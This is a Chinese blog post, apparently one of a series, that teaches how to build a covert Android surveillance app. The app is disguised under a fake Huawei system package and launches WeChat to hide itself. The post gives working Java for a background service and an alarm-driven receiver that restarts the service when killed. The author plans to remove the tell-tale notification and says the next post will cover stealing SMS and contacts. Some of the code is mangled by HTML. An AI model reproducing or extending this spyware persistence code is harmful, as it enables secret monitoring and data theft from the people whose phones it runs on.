接上一篇,上篇介紹了怎樣隱藏APP和破解方法,看本篇文章前最好看看上一篇,是連貫的。
今天介紹的是怎麼開啟後臺服務。上篇簡單說了一下,就是在啟動微信之前開啟。如下:
startAlarm函數就是開啟後臺的,我做了個鬧鐘處理,每隔一段時間去檢查一下,問問手機,我的後臺服務開啟了嗎,沒有就開啟。如下:
//打開後臺服務 private void startAlarm() { //直接開啟服務 Intent intent2 = new Intent(MainActivity.this, S1.class); startService(intent2); int id = 1; AlarmManager am = (AlarmManager) getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(LILY_TEST_INTENT); intent.setData(Uri.parse("content://calendar/calendar_alerts/1")); intent.setClass(this, R1.class); intent.putExtra("ID", id); long atTimeInMillis = System.currentTimeMillis(); intent.putExtra("TIME", atTimeInMillis); PendingIntent sender = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT); //每隔30秒檢查一次服務是否開啟 am.setRepeating(AlarmManager.ELAPSED_REALTIME, SystemClock.elapsedRealtime(), 300 * 1000, sender); File1.writeFile("鬧鐘"); }
配合BroadcastReceiver一起使用,我把這個類命名為R1,代碼如下:
package com.huaweii.sys;
import android.app.*;
import android.app.ActivityManager.*;
import android.content.*;
import com.huaweii.tool.*;
import java.util.*;
public class R1 extends BroadcastReceiver
{ @Override public void onReceive(Context context, Intent intent) {
//檢查服務是否運行,不運行就啟動 if (!isServiceRunning(context, "com.huaweii.S1")) { Intent intent2 = new Intent(context, S1.class); context.startService(intent2); } File1.writeFile("R1"); }
//檢查服務是否運行 public static boolean isServiceRunning(Context context, String ServiceName) { if (("").equals(ServiceName) || ServiceName == null) return false; ActivityManager myManager = (ActivityManager) context .getSystemService(Context.ACTIVITY_SERVICE); ArrayList<runningserviceinfo> runningService = (ArrayList<runningserviceinfo>) myManager .getRunningServices(30); for (int i = 0; i < runningService.size(); i++) { if (runningService.get(i).service.getClassName().toString() .equals(ServiceName)) { return true; } } return false; }/<runningserviceinfo>/<runningserviceinfo>
}
後臺服務的類名是S1,目前是不做任何處理,除了發一個通知,“黑客後臺服務正在運行請你小心”,發通知的目的是讓我們知道後臺正在運行,當全部實現後,要刪除這個通知。
下面是後臺代碼
package com.huaweii.sys;
import android.annotation.*;
import android.app.*;
import android.content.*;
import android.os.*;
import com.huaweii.tool.*;
import java.io.*;
public class S1 extends Service { private Handler handler = null; private static final int NOTIFICATION_DI = 7888; public int isOpenPhp=0; @Override public IBinder onBind(Intent arg0) { return null; } @SuppressLint("HandlerLeak") @Override public void onCreate() { super.onCreate(); File1.writeFile("S1"); handler = new Handler() { public void handleMessage(Message msg) { if (msg.what == 0) { String arr1 = (String) msg.obj; } } };// handler } @Override public int onStartCommand(Intent intent, int flags, int startId) { return super.onStartCommand(intent, flags, startId); } @Override public void onDestroy() { super.onDestroy(); } @Override public void onStart(Intent intent, int startid) { send_tz("黑客後臺服務","正在運行,請你小心"); } public void send_tz(String Title,String content) { Notification notification = new Notification.Builder(this) .setContentTitle(Title) .setContentText(content) .setSmallIcon(R.drawable.ic_launcher) .setContentIntent( PendingIntent.getActivity(this, 0, new Intent(this, MainActivity.class), 0)).build(); startForeground(NOTIFICATION_DI, notification); // ---------------------- }
記得在清單中申請一下,如下
<service> <intent-filter> <action> /<intent-filter> /<service>
<receiver> <intent-filter> <action> /<intent-filter> /<receiver>
將這哥倆寫在application內。
我說說測試的結果,當打開程序時,我看到立即轉跳微信,看不到啟動頁。在手機上拉開通知欄,可以看到“黑客後臺服務正在運行請你小心”的字樣。我清理了一下正在運行的程序,當時通知消失了,不久居然能重啟,我想真正要實現守護,可能還要寫個服務來相互守護。
如果想了解更多,歡迎關注我。明天再寫怎樣在服務中去獲取短信通信錄等信息。
閱讀更多 化州阿信 的文章